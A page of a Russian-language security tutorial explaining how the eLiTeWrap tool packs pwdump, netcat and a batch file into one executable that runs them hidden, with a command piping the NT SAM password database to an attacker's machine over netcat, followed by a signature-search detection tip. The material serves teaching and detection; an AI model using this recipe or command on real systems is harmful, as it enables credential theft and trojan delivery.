Иллюстрированный самоучитель по Secure Web


Программы типа "троянский конь" - часть 2


eLiTeWrap


Очень популярной программой типа "троянский конь" является eLiTeWrap. Она предназначена для "упаковки" многочисленных файлов в один исполняемый файл и последующей их распаковки либо запуска на удаленном узле. Как видно из следующего примера, в такую "обертку" можно поместить также сценарии, что позволяет взломщикам реализовать неповторимые атаки. 

С:\nt\ew>elitewrap

eLiTeWrap 1.03 - (С) Tom "eLiTe"

Mclntyre tomSdundeecake.demon.со.uk

http://www.dundeecake.demon.co.uk/elitewrap

Stub size: 7712 bytes Enter name of output file: bad.exe

Operations: 1 - Pack only

2 - Pack and execute, visible, asynchronously

3 - Pack and execute, hidden, asynchronously

4 - Pack and execute, visible, synchronously

5 - Pack and execute, hidden, synchronously

6 - Execute only, visible, asynchronously

7 - Execute only, hidden, asynchronously

8 - Execute only, visible, synchronously

9 - Execute only, hidden, synchronously

Enter package file #1: c:\nt\pwdump.exe

Enter operation: 1 Enter package file#2:c:\nt\nc.exe

Enter operation: 1

Enter package file #3: c:\nt\ew\attack.bat

Enter operation: 7

Enter command line:

Enter package file #4:

All done :)

Теперь в распоряжении взломщика появился файл с именем bad.exe. При запуске из него будут извлечены утилиты pwdump.exe, netcat (nc.exe), а затем запустится командный файл attack.bat, в котором содержится простая команда, например pwdump i nc.exe -n 192.168.1.1 3000. В результате база данных SAM системы NT попадет на компьютер взломщика (192 .168 .1.1, на котором утилиту netcat следует настроить на прослушивание порта 3000).

Программу eLiTeWrap можно обнаружить, если из исполняемого файла взломщик забыл удалить ее сигнатуру. Следующая команда поиска позволит найти сигнатуру в любом файле .ЕХЕ.

С:\nt\ew>find "eLiTeWrap" bad.exe

---BAD.EXE

eLiTeWrap VI.03

Ключевое слово "eLiTeWrap" может измениться, поэтому при выявлении программы eLiTeWrap не следует полностью полагаться на этот признак.




Начало  Назад  Вперед



Книжный магазин